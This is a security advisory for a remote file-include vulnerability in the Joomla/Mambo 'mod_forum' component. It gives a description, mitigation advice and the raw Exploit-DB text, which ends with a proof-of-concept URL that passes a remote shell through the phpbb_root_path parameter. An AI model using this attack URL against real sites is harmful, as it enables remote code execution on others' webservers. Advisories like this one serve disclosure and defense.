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mod_forum' component
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CVSS
CRITICAL
Remote File Include
CWE
Product Name: mod_forum' component
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Patch Exists: NO
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Joomla and Mambo ‘mod_forum’ Component Remote File Include Vulnerability

The 'mod_forum' component for Joomla and Mambo is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input. An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to access the underlying system.

Mitigation:

Ensure that input is properly sanitized and validated before being used in file inclusion operations. Implement access control mechanisms to restrict untrusted file inclusion.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/24591/info

The 'mod_forum' component for Joomla and Mambo is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to access the underlying system.

http://www.example.com/components/com_forum/download.php?phpbb_root_path=[Shell]

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